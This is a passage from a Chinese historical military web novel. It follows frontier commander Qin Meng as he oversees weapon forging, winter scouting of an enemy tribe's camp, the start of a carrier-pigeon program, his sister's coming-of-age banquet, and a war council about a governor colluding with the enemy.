“大人,您叫俺?”乌维声如洪钟。
经过几个月相处,这个山蛮汉子汉语越发流利。也懂得了许多外界礼仪,结交了许多朋友。
“试试这把刀,看合不合手?”秦猛指着陌刀。
乌维蒲扇般的大手一把抓起陌刀那粗长的刀柄,原本在旁人手中过长、显得笨重无比的巨刃,在他手里竟似乎如同稻草般轻而易举。
他走到工坊外的空地上,也不多话,吐气开声,舞动起来。
刹那间,只见一片寒光绕体,破空之声呼啸作响,如同虎啸山林。
乌维的力量配上陌刀的长度重量,舞动起来真有泼水不入的气势。
他越舞越是兴奋,最后收刀而立,仰头哈哈大笑,瓮声瓮气地喊道:“好刀!好刀!大人,这刀比破弯刀好得多,太适合俺了,够劲!”
围观的众人无不凛然,脑海中几乎能想象出那幅场景:乌维这样本就恐怖的壮汉,再披上量身定制的重铁甲,手持这柄杀戮机器,一旦冲入敌阵,绝对是血肉横飞、所向披靡的存在!
简直就是一台人形绞肉机。
“就是太轻了点。”乌维不满意地掂量着武器。
“行,我让人为你量身锻造武器,重量不得超过四十斤。否则劈砍起来太过吃力,根本无法持久。”秦猛翻了个白眼,倒是打量着乌维说道。
“这种武器一旦列装,你和突击队就多了一项训练。就是练这刀,每天抡动陌刀奋力劈砍。”
“得令!”乌维咧嘴一笑,瓮声领命!
陌刀这款大杀器初步锻造成功,让秦猛心中大定。但他立刻冷静下来,转向李铁匠,问出了最关键的问题:“李师傅,此刀锻造,产量如何?”
李铁匠闻言,兴奋之色稍敛,伸出粗糙的手掌,语气带着些尴尬:“回大人,这陌刀造价极高,耗费的精铁堪比打造五十把横刀。
打造一把合格的陌刀,从选料、包钢、数宿灌钢(反复加热渗碳)、锻打成形到不淬火条件下的漫长矫直。
一个熟手铁匠带着徒弟,全力以赴,也得花上将近六天。若是停下现在所有的枪头、箭镞、横刀等普通武器的锻造,让武器组三十位师傅带着各自的学徒,全部转为打造此刀。
并且采用您之前说的那个……那个‘流水作业’法,简单的步骤交给学徒,关键步骤由老师傅把关,这样下来,一天……大概也就能出五把左右。”
他顿了顿,补充道:“就算日夜赶工,最多不超过八把。再想多,要么就得降低品质,要么……就得再建新的炼铁炉,增加人手才行。”
“五到八把……”秦猛沉吟片刻,对这个效率其实已有心理准备。他摆手道:“这个不急。优先保障质量。乌维的突击队五十人,先给他们装备齐。
之后我们再陆续扩建炉子,增加工匠,慢慢提升产量。流水线,模具化作业的思路要继续优化,明确分工,首要是得保障器械的质量。”
“大人英明!”李铁匠连连点头,随即他搓了搓手,趁机向秦猛请教起锻造方面的深层次问题:
“大人,您上次
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巡视作坊时,提过的那个什么‘高温熔炉’、‘鼓风机组’、还有如何提升炉火温度,减少铁水里的杂质……小的们尝试了几次,总觉得还缺了些火候,请您再指点指点……”
秦猛听了后呲牙咧嘴,只能再次搜肠刮肚,把脑海中那些关于热风炉、水力鼓风、甚至是后世明清量产的生铁淋口、嵌钢法、夹钢法……
等等一些超越这个时代,但又觉得可以尝试探索的冶金理论知识,尽可能浅显地解释出来。
他一边说一边心里苦笑,自己这半瓶水响叮当的知识,能不能真的启发李铁匠,改良现有的熔炼和锻造技术,就只能看这些工匠们的智慧。
工坊里,炉火正红,敲打声不绝于耳,新的力量正在这汗水和智慧的交织中,一点点被锻造出来。而远方的阴云,也正在悄然汇聚。
秦猛带人刚走出铁匠工坊,一亲兵飞奔过来汇报:“大人,飞天卫传讯,说界河北岸一切如常,首要目标——狼戎黑狼部没有撤离。”
“知道了!”秦猛眼中寒光一闪而过,随即恢复正常。黑狼部落想着投机倒把,如何来对付军寨,他又何尝不是很早就想把对方一锅端?
从年前到现在,军寨阴影中的队伍在迅速壮大。
“猎犬卫”已悄然成型。陈麻子统领的这支队伍,如今已扩增至近百人。
成员多是昔日里游手好闲、鸡鸣狗盗之徒,却被秦猛以“人尽其才”的理念网罗至麾下。
在充足银钱和严苛到近乎残酷的军事化管理下,这些曾经的泼皮无赖竟也脱胎换骨,找到了比欺压良善更有“前途”的出路——忠诚与纪律。
其中机敏过人者,已被秘密派往幽州等边城潜伏,编织情报网络。余下大部则化明为暗,分散在流民安置点、工坊、市集等地之间……
如同无形的警哨,时刻监察内部动向,任何不稳苗头或异样视线,都难逃这些“回头浪子”的敏锐直觉,成为维护军寨安稳的暗盾。
与“猎犬”的广泛渗透不同,“飞天卫”走的则是精益求精的路线。总人数,不过四十余人,却汇聚了石地虎招揽的江湖好手、陈石等二十余名军中侦察翘楚。
他们的训练更为专精残酷:伪装蛰伏是家常便饭,飞檐走壁如履平地,林间山地穿梭无声。
近来,训练场更直接前推至界河北岸的茫茫雪原,在极寒与危机四伏的环境中锤炼生存与侦察技能。
每一个“飞天卫”都是百里挑一的精锐斥候,是军寨最敏锐的耳目,更是能插入敌人心脏的尖刀!
第272章 雪原砺刃,暗夜探营
界河北岸,如同是另一个世界。
狂风卷着雪沫,如同无数冰冷的细针,无情地肆虐着一望无际的雪原。
这里的寒冷,比南岸军寨凛冽数倍,呵气成冰绝非虚言。天地间白茫茫一片,除了起伏的雪丘和偶尔裸露的、冻得坚如铁石的枯草,再无他物。
正是在这片生命禁区般的苦寒之地,铁血军寨的“飞天卫”们,正在进行着最后的淬炼。
经过秦猛近两个月手把手,近乎残酷的地狱式打磨,伪装、潜伏、追踪、反追踪、审讯、情报标记与传递等基础技能已融入他们的本能。
此刻,他们携带简易的行囊,以五人一队的形式,分散在这片广袤的雪原上,进行着实战化生存训练。
他们就地取材,用冻结的雪块垒砌成可抵御风寒的雪屋,蜷缩在羊皮睡袋中,靠体**互取暖。
口粮是硬邦邦的肉干和能提供些许热量的果脯,若能幸运地捕到一只雪兔,便是一顿值得欢呼的盛宴。
飞天卫密探,之所以这么拼命。
那是隶属暗部的待遇与晋升渠道,也与他们息息相关。谁不想积攒军功,期满转职被提拔?
上升渠道的公开、透明,是飞天卫兵卒的动力之一!
训练从二月初开始,日复一日;
小队间用秦猛传授的、夹杂着古怪“阿拉伯数字”的独有暗号进行联络与信息传递;
在雪地中长时间蛰伏,练习与环境融为一体的伪装术;
分组进行模拟的搜寻与抓捕对抗,侦察营地等训练。锤炼在极端环境下的侦察与反制能力。
而他们最重要的任务,便是“执勤”——分组轮换,严密监视着契丹、女真部落的草场动向,以及此次行动的核心目标:狼戎黑狼部落。
他们像雪地里的幽灵,悄无声息地潜伏在指定位置,眼睛如鹰隼般锐利,记录下一切有价值的信息。
每天,都会有军寨派出的精锐斥候,在约定的隐蔽地点,如特定的雪窝、做了标记的枯树洞,收取他们留下的加密情报,并留下补给。
汗水、严寒、孤独与危险,正将这数十名汉子,锻造成秦猛手中最锋利的尖刀、最灵敏的耳目。
此刻,他们已如幽灵般活跃在雪原,密切监视着黑狼部的一举一动,定期传讯回铁血军寨。
……
夜幕下的雪原,更添几分肃杀。
石地虎带着两名队员,像三只紧贴地面的狸猫,身披白色羊皮褥子,静静趴伏在一个能俯瞰黑狼部落营地的雪坡后。
寒风如刀,刮在脸上刺痛难忍,他们必须极力控制呼吸,避免呵出的白气暴露行踪,眼睛一眨不眨地盯着远处那片隐约闪烁着火光的营地。
他们的任务很明确:确认黑狼部落并无迁移的迹象,并摸清其外围防御。
早在年前,秦猛就想袭击这个部落,下达了死命令,绝不能让这个心腹大患悄无声息地溜走。
白天,他们借助地形隐蔽观察,营地里人马活动如常,毡房也没有拆卸的痕迹,似乎暂时安于现状。
但真正的危险,隐藏在夜晚——为大军侦察地形。
“行动!”石地虎低喝一声,留下两名队员在外围接应,自己则如鬼魅般滑下雪坡。
他手持**,并非为了搏杀,而是作为探路的工具,在及膝的积雪中小心翼翼地向前戳刺,排查可能存在的陷阱。
果然,在距离部落约七八里外尚且安全,一旦进入五里范围内,陷阱便开始密集出现。
——覆盖着浮雪、深达丈余的大坑,底部密布着被削尖的木桩、冻得硬如钢铁的冰锥;还有伪装巧妙的套索、绊马索……纵横交错。
石地虎个子不高,却心气不小,也是要面子的人。知道军寨暗部规模渐大,迫切想表现自己。
他已经连续在黑狼部坚守了几天,夜夜排查着。狼戎部落四周雪地里都被人布置陷阱,若是不明就里的骑兵贸然突进,必定损失惨重。
“这群该死的**,倒是狡猾!”
石地虎悄悄排查,干瘦的脸上掠过一丝狠色。他耐心地将周边区域探查了一遍,在心中默默绘制地图,将安全路线与陷阱分布牢牢记住。
待接近到营地边缘,不过数十米,陷阱逐渐少了。借着风雪和夜色的双重掩护,他不放心地来回检查,确认前方雪地里几乎没有了陷阱。
石地虎掏出肉干慢慢咀嚼着恢复体力,等手脚活动开,随后展现了其苦练多年的轻身功夫。
他如同没有重量一般,脚尖在积雪上轻轻一点,便掠出数米,落地时,几乎不留痕迹,真正做到了“踏雪无痕”。
黑狼部落显然加强了戒备,夜间亦有巡逻队执着火把来回巡视,毡房间还有固定的岗哨。
但石地虎胆大心细,动作迅捷如风。他利用毡房的阴影、堆积的物资作为掩体,灵巧地避开一队队巡逻兵。
有一次,几乎与拐角处出来的巡逻队迎面撞上,千钧一发之际,他猛地提气,身形如壁虎般贴附在一顶毡房的背风面,屏住呼吸,听着脚步声和**的交谈声从身边不足三尺处掠过。
“咦?刚才是
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不是有黑影闪了一下?”巡逻队中有人疑惑地揉了揉被风雪迷住的眼,四处张望。
这个狼戎小伙的话惹得其他同伴噗嗤笑出声来。
“风大雪大的,看花眼了吧!这鬼天气哪里有人?”
“就是,组长说防止周人夜袭营地,从年尾加强戒备。这都快两个月了,也不见有人来袭。”
“哎,遭罪的只能是我们这些底层……”
“你少说几句吧,传到族长耳朵里,你又得被训。”
“大周军队,只会龟缩在戍堡,如何敢来招惹我等?”
“哈哈哈,我黑狼部勇士是最勇猛的。”
“哎哟,赶紧走,这风吹得我血液都像是冻住了……”几个狼戎哨兵嘟囔着,夹杂些许抱怨。
队伍渐行渐远。
石地虎这才缓缓松了口气,额角已渗出细密冷汗。
他继续深入,敏锐地发现营地内部的布局与他知道的略有变化:马厩的位置向营地中心收缩了些,囤放粮草堆积的区域也换了地方,且有更多人看守。
石地虎小心翼翼地跃上一顶较大的毡房顶部,轻如羽毛般落下,没有发出一丝声响。
他甚至冒险,用**在毡房不起眼的角落挑开亚麻线,窥视内部情况,确认住满了人,这才放下心来——黑狼部落的主力确实还在。
当经过几顶明显是部落头人或贵族居住的华丽毡房时,里面随意堆放的金银器皿在微光下闪烁。
石地虎下意识地捏紧拳头,手痒难耐。第二次见过这么金银的他心头火热,这要是顺手牵羊……
但最终,军队强大的纪律性让他压下了这股冲动。
他是军人,不是偷鸡摸狗的贼,要立下功劳,要在军寨站稳脚跟,任务为重,不能打草惊蛇。
石地虎根据前两次探查到的结果,相互印证。将巡逻路线、岗哨位置、马厩、粮仓等关键地点牢记于心后,他如同来时一样,借着风雪的呼啸声掩护,如一道青烟般悄无声息地溜出了黑狼部落营地,与外围接应的队员汇合。
就连被丢下来的**也被找到,不留下任何痕迹。
待石地虎的好友陆晓飞带队来换班。
石地虎便带人徐徐撤退,迅速消失在茫茫雪夜之中。
……
天蒙蒙亮,石地虎按照记忆,将黑狼部外陷阱分布和营地布防的草图勾勒出来,与副队长陈石交接后,亲自返回,传递这份珍贵的情报。
他不是为了所谓的军功来升职。
只是单纯的想露个脸,获得更多同僚的认可,仅此而已!
第273章 飞雷初绘,鸽影始至
第二日,寒风依旧凛冽,风雪,却渐渐小了些。
秦猛将巡视雪墙防线的例行任务交给了沉稳的**和悍勇的阮大,自己则带着一队亲卫,策马出了军寨,直奔位于砖窑厂附近的火器坊。
火器坊坐落于一处相对隐蔽的山谷中。远远望去,一排排砖石营房和成片的茅草屋顶错落分布,外围依靠山势设了木栅栏和拒马刺。
箭楼上,粮仓附近军卒守把,巡逻的兵卒五人一队,眼神锐利,步伐稳健,警惕地注视着四周。
犬兵队部将刘大牛坐镇在此,二十多头驯犬分散在各处,偶尔发出低沉的吠叫,更添几分肃杀之气。
这里与其说是个作坊,不如说是一座戒备森严的军营。空气中弥漫着一种混合了硫磺、硝石和炭火的特殊气味。
秦猛一行验明身份后,径直前往最深处的核心区域。
尚未走近,便听到隐约的捣碎、筛选声,以及人员压低的交流声。
进入作坊区,只见景象分明:一边是范良师傅亲自带领的“高危实验组”。
在绝对隔离的区域里,小心翼翼地进行着**配比的微调试验,每次只取极少量,记录着燃烧速度、烟雾和声响,力求找到那最理想的“黄金比例”。
另一边,则是“**生产组”,几名老匠人带着筛选过的学徒,正严格按照**改良或者步骤,将猛火油与硫磺等物按不同比例混合。
然后灌入厚壁陶罐,用浸油麻布密封。虽是相对成熟的流程,但人人面色凝重,动作谨慎,因为谁都清楚,稍有差池,便是烈焰焚身的下场。
范良带队将一批**,调配完,见到秦猛,连忙放下手中的活计,脸上还带着黑灰便迎了上来。
他详细汇报了进展:“大人,托常九先生和黑虎、白虎卫的福,硝石硫磺近来供应充足,**日产已能稳定在五百斤上下。只是这冬季湿气大,烘干工序,确实耗时耗力。”
“这个不急,慢慢来。”秦猛了解到这种情况,笑着摆手:“一切以安全为主,慢工出细活。”
范良引着秦猛来到被隔离开了仓库,里面除了有大堆成串的鞭炮,就是有许多大小炮仗。
那是军队直接用来传讯的号炮。
范良指着摆放在角落架子上,一尺长、碗口粗细、油布封口的竹筒,语气带着几分自豪也有一丝遗憾:“按您的意思,这竹筒雷,**里加了铁片、碎钉,**后,杀伤范围不错。
但……要达到开山裂石之威,目前竹筒的装药量已是极限。我们试过更大的容器,比如酒坛,威力是够了,可根本无法用于投掷作战。”
秦猛拿起一个沉甸甸的竹筒雷,掂量了一下,非但没有失望,反而鼓励道:“范师傅,你和兄弟们辛苦了!这已是了不起的进步。正面与敌人碰撞,有此物足可让敌人胆寒。”
他话锋一转,眼中闪烁着锐利的光芒:“威力不足,我们可以从用法上弥补。这种竹筒雷属于轻兵器,既然受限,那我们就造重兵器。”
秦猛走到旁边满是药末灰尘的木桌旁,取过纸笔,一边画一边讲解:“你看,我们可以用结实的木桶、铁桶,底部开口,内设活动挡板。将颗粒化的**作为**包……”
他边说,边下笔,一个前世抗战时期,简陋却结构清晰的“飞雷炮”(没良心炮)草图逐渐成型。
他详细解释了此物制作、发射原理、药包分量控制、抛物线的简易测算以及可能的风险。
“此物射程或许不远,但一旦将数斤甚至十数斤重的**包抛射到敌群或工事中,威力绝非竹筒雷可比!”
范良起初还有些疑惑,可随着秦猛的耐心讲解,他的眼睛越来越亮,呼吸都变得急促起来。
他仿佛看到了今后战场上,这简陋的“大炮”发出怒吼,将死亡之雨倾泻到敌军头上的场景!
范良抓着草图,连连追问细节,从木桶厚度到挡板材质,从**颗粒化到点火方式,问题一个接一个,恨不得立刻就去尝试制作。
秦猛逐一解答,不知道的提供意见让他参考。
足足花了半个多时辰,才在范良及闻讯赶来的几位老师傅炽热如焚的目光中,勉强脱身。
离开火器坊,秦猛顺道去了旁边的砖窑厂。
这里又是另一番热火朝天的景象。
多座砖窑冒着滚滚浓烟,数百名工人和匠人分工协作,和泥、制坯、装窑、烧火、出窑……井然有序。
除了主窑,旁边还新起了几座较小的试验窑。
秦猛找到负责人沈文老师傅,不仅关心青砖和陶器的产量质量,更重点询问了“土水泥”的烧制情况。
他与沈文等人蹲在地上,用树枝画着草图,探讨着如何改进窑炉结构以提高效率,如何扩大土水泥的生产规模,以备开春后军寨扩建和防御工事加固之用。
秦猛刚从砖窑厂回到军寨门口,准备返回官署处理公务。
亲卫队长王善便快步迎上来,低声汇报道:“大人,常家商队不久前抵达,送来的粮食已入库。另外,他们按您的吩咐,带来了鸽子。”
“哦?找到了?”秦猛闻言,精神顿时一振,脸上露出欣喜之色,立刻前往:“走,去看看!”
军寨粮仓旁的僻静处,常家粮队的负责人正照看几辆车上摆放着特制的、带有透气孔的竹笼。
见到秦猛,负责人连忙行礼,指着竹笼道:“秦大人,幸不辱命!按照九爷的吩咐,我们多方打听,总算寻到了三种符合您要求的鸽子。”
秦猛走近,仔
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细观瞧。笼中的鸽子,果然神骏异常:
第一种来自北方,体型最为健壮,羽毛厚密,以灰黑色为主,颈羽带有金属光泽,眼神锐利,显得极为耐寒彪悍。
此鸽名为“铁翅”,是北方特有的信鸽品种,极耐艰苦,飞行力持久。
第二种来自中原,体型匀称,线条流畅,羽毛多为纯白或雨点纹,喙短而精致,眼神灵动。此鸽名为“雪影”,以飞行速度快和方向感强著称。
第三种来自江南,体型虽稍小,但异常精悍,羽毛颜色驳杂,以红绛色和斑点为主,看起来其貌不扬,但肌肉结实,活力十足。
此鸽名为“千里斑”,以抗病能力和极强的适应力闻名。
三种鸽子,每种都有几十只,共同特点是看起来肥硕健康,在笼中咕咕低鸣,显得充满活力。
秦猛仔细观察它们的爪、喙和眼神,心中大喜:“好!都是长途飞行、抗病害的好苗子。常大哥此事办得漂亮,回头帮我转述谢谢啦!”
这意味着,他构想的“飞鸽传书”体系,终于迈出了最实质性的第一步。
秦猛立即下令,小心地将这些鸽子送到军寨后营专门划出的驯养区。
这里由擅长养**猎鹰的刘瘸子主要负责。此外因上次娱乐设想,还**了二十多个平日里就喜欢摆弄猫狗、玩鹰斗鸟的“闲散人员”。
秦猛早前就将他们集中起来,进行基本的饲养和驯化培训。
此刻正好派上用场。
秦猛将刘瘸子及所有驯养人员召集到一起,指着那些珍贵的鸽子,面色严肃地说道:“这些鸽子,至关重要!饲养、繁殖、驯化,每一环都不得有失
。从今日起,你们的任务就是照顾好它们,并建立鸽巢繁殖,逐步尝试训练它们识途传信。
谁能率先驯出合格的传信鸽,便是大功一件。我在此承诺,重赏白银、晋升职位,绝无虚言!”
“重赏之下,必有勇夫!”
此言一出,包括刘瘸子在内,所有人的目光都瞬间变得炙热起来。他们看着那些咕咕叫的鸽子,不再是普通的禽鸟,而是通往奖赏和地位的阶梯。
刘瘸子拄着拐杖,激动地表态:“大人放心!老汉我别的不行,伺候猫狗、鸟雀还有些心得,定和后生们把这些鸽子当宝贝伺候好,驯明白!”
望着众人摩拳擦掌、跃跃欲试的模样,秦猛满意地点点头。
军寨兵卒整军备战,军械在革新,通讯方式也在酝酿变革,这一切,都是为了在这冰天雪地中,让铁血军寨的根基扎得更深,刀子更锋利!
“大人,大人……夫人说,今天是二月初八了!”秦猛交代刘瘸子好生照料鸽子后告辞离去。才刚出了驯养区,乌维扛着大宝剑,飞奔而来。
第274章 生日宴,暗流起
二月初八,官署后院一派热闹景象。
今日是秦小芸十六岁生辰,在这大周,女子十六,正式“及笄礼”,是迈向成年至关重要的一步,意味着可以说亲、定性,是家族极为看重的日子。
秦猛如今身份不同往日,自然要将这日子过得格外不同。
他早吩咐下去,不大肆铺张,但定要温馨热闹。
后院堂屋里,炭火烧得旺旺的。
陈月娘、林婉儿、王艳、林小蛮,再加上被邀请来的诸葛瑾、王春兰、红姑、文琴等人。
一群女子聚在一处,嗑着炒香的花生瓜子,喝着热茶,言笑晏晏,莺声燕语驱散了边塞的凛冽寒气。
快到饭点时,一窝蜂去了伙房,很快,香气四溢,蒸笼里冒着白气,炖肉的香味勾人馋虫。
而院中一幕,却让这温馨场景添了几分滑稽与耐人寻味。
只见原本该在公值房忙碌的李恒,或演武场操练的两个刺头袁飞、徐强,此刻正充当着“苦力”。
李恒对着一只肥鸡手足无措,惹得一旁监督的王艳直皱眉;
袁飞吭哧吭哧地提着两大桶水,来回奔跑于水井和伙房之间,努力将巨大的水缸灌满;
徐强更是抡圆了斧头,对着堆积如山的木柴发力,木屑纷飞,架势倒是十足,只是木柴乱飞,效率堪忧。木柴大小不均匀,甚为拉垮。
旁边几个原本负责这些杂役的伙头军,苦着脸蹲在墙角,活计被人抢了,帮忙又被拒绝,还不敢有怨言,只能拢着袖子,眼巴巴看着。
“哈哈哈!”巡营归来的**见到此景,抱着胳膊晃悠着,咧嘴笑道,“小飞,大头,表现不错啊!等会儿把积攒的袜子和脏衣服也一并洗了去!”
他话音刚落,屁股上就挨了不轻不重的一脚。他嘴里哗啦怪叫,回头一看,骂人的话憋回去。正是秦猛带着乌维、牛五等亲卫走了进来。
“少在幸灾乐祸。”秦猛笑骂着瞪了**一眼,目光却带着审视落在徐强身上,“徐大头,不在校场训练骑兵,怎么跑到我这凑热闹?说,打的什么主意?”
徐强被问得眼神飘忽,黝黑的脸膛竟泛起一丝不易察觉的红晕,突然指向袁飞,梗着脖子说:“袁飞能来,为啥……为啥俺就不能来?”
“我靠。”正在倒水的袁飞听见了,没好气地回头:“徐大头!大人问你话,你扯上我作甚?”
**机灵地凑到秦猛耳边,压低声音:“大人,是这么回事。徐部将长辈伯父一家寻过来落户,俺姑姑前几日,特意托刘媒婆……”
秦猛闻言,脸色先是古怪一变,下意识瞥向那边没事就经常耍甩鞭子,此刻正在指点李恒的王艳,随即恍然大悟,脸上露出促狭的笑容。
他拍了拍**的肩膀,声音不大不小,刚好能让竖着耳朵的徐强听到:“哦——明白了!这是好事啊,这小伙有前途,你老王家捡到宝喽!”
秦猛嘟囔着“缘分到了哟”,摇着头往伙房走去。
徐强那张糙脸瞬间红得像煮熟的虾子,瞪着嘴巴不严的**,抡斧头的力道又猛了三分。
“哥!我要吃狮子头!”
听到秦猛的声音,今日的主角秦小芸像只快乐的云雀,飞奔而出。
她今日未梳那种娃娃髻,长发披肩,加上身体长开了,多了几分少女的娇俏与即将成年的端庄。
她一把抱住秦猛的胳膊,轻轻摇晃,声音甜得能沁出蜜来。
“行行行,今天你最大,想吃啥,哥都给你做!”秦猛宠溺地揉了揉妹妹的头发,满口答应。
伙房里更是忙碌。
陈月娘正细心教导王春兰如何给红烧肉炒糖色,何时下料,如何扣上锅盖小火慢炖收汁,才能肥而不腻、入口即化。
案板上已经摆好了七八个凉热菜肴,蒸鸡、煲汤,香气扑鼻。
见秦猛进来,王春兰、红姑、文琴等女子连忙行礼。
“不必多礼!”秦猛摆摆手,洗了手,熟练地系上围裙。
他见菜肴准备得差不多了,今日要露两手硬菜。
——红烧狮子头和虎皮扣肉。
一边处理肥瘦相间的五花肉,一边将步骤、火候关键细细说与陈月娘、王春兰等人听。
他引入的一些后世调味理念和香料腌制等运用。让这些擅长边塞粗犷烹饪手法的女人们啧啧称奇,越发觉得这位秦知寨不仅打仗厉害,在庖厨之事上,也深藏不露,令人敬佩。
秦猛在灶台前菜刀翻飞,挥勺翻炒,动作流畅,充满力量感,诱人的香气逐渐弥漫开来。
然而,这份温馨之下,暗流始终涌动。
几乎就在秦猛将最后一个狮子头下油锅炸制定型的同时,军寨以北的茫茫雪原上,几匹快马如离弦之箭,踏碎风雪,直奔飞虎卫临时营地而去。
马背上的骑士,背上皆插着代表军情紧急的红色令旗。
这一幕,恰好被带领新兵在外围巡逻、扫雪的猎犬队副队长陈阳(陈老三)远远看了个正着。
猎犬队如今由陈麻子总领,下设两位副手:陈老三,主要负责明面上的巡逻、引导新兵。
另一位是原冷艳山寨出身、因能力出众被提拔的陈老四,主要负责俘虏营管理与暗中的渗透、监视。
……
风雪渐小,官署堂屋内,两张大圆桌摆开。女眷一桌,秦猛、乌维、牛五、**等亲近部下以及“有功者”徐强
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、李恒与袁飞等人一桌。
杯盏交错,虽只是淡酒,但气氛热烈。
今日的主角秦小芸坐在女眷桌主位,脸颊红扑扑的,眼中有光。
秦猛端起酒杯,站起身,众人渐渐安静下来。
“今日,是我家小妹小芸成年“及笄礼”的日子。”
秦猛目光温和地看着妹妹,语气却带着长兄的认真,“虚岁十六,是大姑娘了。哥不多说别的。
只希望你从今往后,凡事要渐渐学会稳重。做人要诚实守信,做事要么不做,要么就一丝不苟,行百里者半九十,切不可半途而废。
及笄是大人了,可不能再像小时候那样动不动就哭鼻子了!”
“谁……谁动不动就哭鼻子了?”
秦小芸被说得俏脸绯红,尤其是当着这么多姐姐和…某些人的面,立刻跺脚娇声反驳,引得满堂哄笑,冲淡了秦猛话语中的些许严肃。
宴席正式开始,宴席上菜肴很丰盛,口味多样。除了陈月娘做的红烧肉和回锅肉,秦猛亲手烹制的虎皮扣肉和红烧狮子头成了绝对亮点。
扣肉色泽酱红,虎皮斑驳,入口软糯酥烂,肥而不腻;
狮子头硕大饱满,用高汤煨煮,肉质鲜嫩,汤汁浓郁,唇齿留香。
就连吃惯了精细伙食的林婉儿也是赞不绝口,就更别说牛五,**这些粗汉子,抢个不停。
乌维绝对是抢菜头名,也对秦猛的厨艺心服口服。
秦小芸看着众人享受美食、争相敬酒,为自己庆贺,一张小脸笑得如同春日里最灿烂的花朵。
然而,欢宴总被世事扰。
酒过三巡,菜过五味,猎犬队副队长陈老三的身影出现在院门口,神色凝重,对着秦猛微微颔首。
秦猛心知肚明,说了声“你们先吃”,离席走到廊下。
“大人,”陈老三语速极快,声音又压得极低,“我正好亲眼所见,不久前,三名来自幽州方向的飞虎卫斥候,背着紧急令旗,疾驰入营。
观其神色匆匆,必有紧急军情!
属下推测,怕是幽州城出了大事!”
秦猛脸上并无太多意外之色,他轻轻拍了拍陈老三的肩膀,低声道:“你猜得不错,是幽州有变。
狼戎黑狼部派的使者,深夜秘密进了刺史崔文远的府邸,他们自以为神不知鬼不觉,却不知一举一动早已在各方势力的注视之下。”
“什么?崔文远竟敢私通狼戎?”陈老三又惊又怒,“大人,我们得立刻上报赵将军啊!”
“上报?”秦猛无奈地摇摇头,眼中闪过一丝冰冷的寒光,“上报给谁?谁不知道崔文远是坨扶不上墙的臭狗屎?如何不知他做的龌龊事儿?”
第275章 中军大帐议事
“崔家在京城势力极大,朝堂中关系更是错综复杂。不然他如何在幽州盘踞多年?往草原输送粮食和铁料等,资助敌人,边军又岂能容他?”
秦猛眼中杀机收敛,无奈长叹:“他还能稳坐刺史之位,归根结底就是靠着朝中有人撑腰。咱边军吴大帅又是个草包,不得不忍气吞声。”
“**。”陈老三也知道这样,但却说不出所以然来。听到秦猛分析的讲解,他咬牙低骂。
“所以呢?想要在这世道上活下去,就得自强不息。谁敢来捣毁我们的家园,那就送他上路。”秦猛拍拍他的肩膀,一点点给他灌输思想。
随后,他话锋一转:“赵将军那边,此刻想必也已得到消息愤怒,很快就会派人来叫我了。”
他顿了顿,吩咐道:“你继续让你的人,该扫雪的扫雪,该巡逻的巡逻,暗中监视飞虎卫营地的动静即可,不要过于靠近,不要打草惊蛇。”
“得令!”陈老三领命,匆匆离去。
“哥、哥!”屋内,秦小芸见秦猛不在,呼喊着。
“来了!”秦猛在廊下应声,深吸了一口冰凉的空气,用力搓了搓脸颊,将眉宇间的凝重尽数掩去。
重新换上一副轻松的笑容后,他这才转身回到喧闹温暖的堂屋,继续与众人喝酒吃菜,谈笑风生,仿佛刚才的一切从未发生。
果然,这顿家宴刚散,宾客还未完全离去,一名飞虎卫亲兵便疾步来到官署院外,高声通报:
“秦知寨!赵将军有紧急军情,请您速往大营议事!”
声音穿透渐起的暮色,带着不容置疑的急促,预示着这短暂的温馨已被打破,更大的风暴,即将来临。
……
飞虎卫临时驻地,中军大帐。
帐内炭火盆烧得噼啪作响,却驱不散那股凝重的肃杀之气。
主位之上,赵起将军面沉如水,指节有一下没一下地敲击着硬木扶手,每一次轻响都仿佛敲在帐内诸将的心头。
右侧依次坐着亲卫统领赵平、副统领周扬,严风、吴斌、王魁等营正副将领,人人屏息,目光低垂。
帐帘掀动,一股寒气卷入。
秦猛带着李山、常勇、王善、鲁真等将步走入。他目光一扫,便径自在左侧空位坐下,李山、常勇、王善,鲁真依次排座,李明,林怒见没有座,便昂首挺胸,按刀立于秦猛身后。
“这几人是陷阵营涌现的人才,军事素养过硬。”秦猛见自己排场有点大,立刻笑着解释一句。
他屁股刚沾到木墩子上,赵起便将一份绢帛急报随手掷了过去:“秦猛,你先看看这个。”
秦猛眼疾手快,凌空抄住,迅速展开。绢帛上的内容,正是幽州城飞虎卫眼线冒死送出的密报。
——狼戎黑狼部落使者深夜密会刺史崔文远。
虽然这则消息秦猛早已通过自己的渠道知晓,也清楚飞虎卫获得消息要先证实,然后传到大营,再快马加鞭送到赵将军手上耽搁了时间。
秦猛知道归知道,可脸上却瞬间堆满了恰到好处的惊愕与难以置信:“啊?这…这崔文远,他怎敢……”
秦猛的声音带着压制的怒火,将绢帛递给麾下将领。
李山、常勇、鲁真凑近观看,脸上也立刻浮现出与秦猛同款的震惊与愤怒,是发自肺腑的。
“秦猛,此事你有何看法?”赵起突然发问,锐利的目光如鹰隼般锁定他,试图想要从这张年轻的脸上看出一些伪装的痕迹来验证猜测。
毕竟前段时间幽州城突然就有了**,许多厢军家眷聚拢起来,围困住刺史府讨要个说法。
虽然消息说是刘德福幕僚所为,但赵将军又是何等人物?敏锐察觉到事情没这么简单。可盯着秦猛,只发现他眼露杀机,没有任何异色。
秦猛深吸一口气,眼中狠戾之色一闪而过,毫不避讳地迎上赵起审视的目光,斩钉截铁道。
“将军,很简单!这****坏事做尽,三番五次找我们不痛快,这是找死。依我看,解决问题最干脆的办法,就是把制造问题的人解决掉!”
此话一出,对面坐着的赵平、周扬、严风,以及雷霆营正将吴斌脸上都浮现惊容。
虽说军中悍将不少,但如此直白提议干掉一位朝廷从二品的封疆大吏,还是让他们心头一跳。
赵起的眉头瞬间拧成了一个川字,声音沉了下去:“胡闹!除掉崔文远?且不说能否成功,这简直是授人以柄!
崔家在京城根深蒂固,此举非但不能解决问题,反而会激怒崔家,引来疯狂报复,对虎贲军有百害而无一利!秦猛,你何时变得如此莽撞?”
“不不不,将军,您误会了。”秦猛连忙摆手,无语地说道:“你们想到哪里去了?末将说的,不是干掉崔文远那只老狐狸。而是要把问题的根源——狼戎黑狼部落,连根拔起!”
“什么?剿灭黑狼部落?”帐内顿时响起一片压抑的惊呼。
严风更是失声道:“秦知寨,你可知那黑狼部落骁勇善战,又是在草原深处,如今又是寒冬……”
秦猛不慌
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不忙,从怀中取出一卷略显陈旧,但绘制精细的绢布地图,在案桌上缓缓铺开。
“将军,各位请看,这是年前我派麾下吴二、陈石等人,冒死潜入草原绘制的黑狼部落大致地形图。”
